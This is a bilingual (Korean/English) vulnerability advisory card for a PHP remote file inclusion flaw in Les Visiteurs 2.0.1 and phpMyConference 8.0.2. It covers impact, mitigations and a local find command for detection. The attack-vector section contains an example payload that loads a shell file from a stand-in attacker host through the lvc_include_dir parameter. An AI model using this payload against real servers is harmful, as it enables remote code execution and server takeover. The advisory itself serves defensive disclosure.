🇰🇷 한글 설명
Les Visiteurs 2.0.1 및 phpMyConference 8.0.2의 원격 파일 포함(RFI) 취약점으로, lvc_include_dir 파라미터에 외부 URL을 주입하여 임의의 PHP 코드를 실행할 수 있습니다. 인증 없이 접근 가능하여 시스템 완전 장악이 가능합니다.
💡 쉬운 설명
웹 애플리케이션이 사용자가 입력한 경로를 검증 없이 PHP 파일로 로드할 때, 공격자가 인터넷의 악성 파일을 실행시킬 수 있는 취약점입니다. 이를 통해 서버의 완전한 제어권을 탈취할 수 있습니다.
🇺🇸 원문 (English)
Multiple PHP remote file inclusion vulnerabilities in J-Pierre DEZELUS Les Visiteurs 2.0.1, as used in phpMyConferences (phpMyConference) 8.0.2 and possibly other products, allow remote attackers to execute arbitrary PHP code via a URL in the lvc_include_dir parameter to (1) config.inc.php or (2) new-visitor.inc.php in common/visiteurs/include/.
📍 영향받는 시스템
Les Visiteurs 2.0.1, phpMyConference 8.0.2 및 이를 포함한 다른 제품들
⚔️ 공격 벡터
config.inc.php 또는 new-visitor.inc.php의 lvc_include_dir 파라미터에 외부 URL 주입 (예: ?lvc_include_dir=http://attacker.com/shell.txt%00)
🛡️ 대응 방법
최신 버전으로 즉시 업그레이드 또는 lvc_include_dir 파라미터의 입력값을 화이트리스트로 검증하고 원격 파일 포함 비활성화
🔧 검증 코드
파일이 발견되면 취약한 버전이 설치된 상태이며, 결과가 없으면 해당 애플리케이션이 설치되지 않았거나 이미 제거된 상태입니다.
find / -name config.inc.php -path '*/visiteurs/include/*' 2>/dev/null